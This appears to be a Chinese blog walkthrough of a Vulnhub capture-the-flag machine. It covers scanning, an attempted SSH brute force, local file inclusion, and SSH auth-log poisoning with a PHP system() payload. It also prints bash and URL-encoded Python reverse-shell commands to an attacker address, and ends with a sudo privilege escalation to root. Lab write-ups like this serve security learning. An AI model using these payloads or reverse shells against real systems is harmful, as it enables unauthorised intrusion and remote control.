帶妹玩轉Vulnhub【九】
前言
國慶第三天,早上感覺回到了最初的起點!?
在刷幾個吧
開始
主機發現
netdiscover -r 192.168.43.0/24
埠掃描
nmap -A -p- -T4 192.168.43.53
滲透測試
很明顯了題目就是需要通過web
服務收集資訊,然後爆破出ssh
登陸的使用者民和密碼。
從中可以看到作者的使用者名稱應該是[email protected]
,密碼我們呢可以通過http://192.168.43.53/index.php?file=research.php
頁面進行收集。
我們使用cewl
工具生成一份爆破的字典
cewl -w wordlist.txt http://192.168.43.53/index.php?file=research.php
ssh
爆破時以失敗告終,我就知道沒有那麼簡單。
當我看到file
引數時,我總感覺是不是這個引數可能存在過濾不嚴格的問題,所以我嘗試構造我的payload
http://192.168.43.53/index.php?file=/bin/bash
這個結果很好,但好像除此之外沒有別的東西了。也許是我遺忘了什麼,我覺得有必要再次進行更加深入的檔案包含。
我們需要使用BP
進行抓包,設定好代理之後,隨意抓取一個包然後傳送到Intruder
模組,如下設定。
我使用了該網站上的一個模糊列表進行LFI
的列舉
最後可以看到/var/log/auth.log
檔案可以被包含,關於此檔案有一片文章剛好可以借鑑。
對照著學習一波,我簡單的對其進行了測試。
先是使用ssh
ssh [email protected]
密碼123456
進行連線,此時錯誤資訊應該會記錄到日誌中,我們可以檢視該日誌。
可以看到hack
使用者的登入資訊已經被記錄了,接下來我們構造更加高階的引數。
ssh '<?php system($_GET['c']); ?>'@192.168.43.53
/var/log/auth.log&c=id
可以看到此時已經成功的命令執行,並返回了id
,接下來我們需要建立一個反向shell,如下 bash -i >&/dev/tcp/192.168.43.154/2333 0>&1
一開始並沒有成功,這應該是編碼的問題,所以我嘗試url
python
拿到shell
python%20-c%20%27import%20socket%2Csubprocess%2Cos%3Bs%3Dsocket.socket(socket.AF_INET%2Csocket.SOCK_STREAM)%3Bs.connect((%22192.168.43.154%22%2C4444))%3Bos.dup2(s.fileno()%2C0)%3B%20os.dup2(s.fileno()%2C1)%3B%20os.dup2(s.fileno()%2C2)%3Bp%3Dsubprocess.call(%5B%22%2Fbin%2Fsh%22%2C%22-i%22%5D)%3B%27
接下來我們就需要想辦法提權了。
在當前目錄中我知道xxxlogauditorxxx.py
檔案感興趣
同時檢視一下sudo
所在許可權組
檢視一下xxxlogauditorxxx.py
檔案,是一個巨大的base64
編碼的檔案,嘗試執行它,我們有一些驚喜的發現
也許我們需要使用sudo
去執行它,畢竟它是不需要任何密碼的。
可以看到它正確的載入了,在接下來的測試中,我發現她可以命令執行,並且是root
許可權
既然可以使用root
許可權命令執行,那麼一切的問題都解決了,我們可以輕而易舉的獲取該目標主機的資訊。最終我使用如下命令找到flag
的線索/var/log/auth.log | find / -name flag.png 2>/dev/null
我們將其通過命令,複製到/var/www/html/theEther.com/public_html/
目錄下,並設定許可權,然後通過web
訪問該圖片
將其下載下來,然後進行分析,可以看到這是一串base64
,最終得到如下結果
總結
最近寫的感覺不是很詳細了,我更多的是復現,而不是說明原理。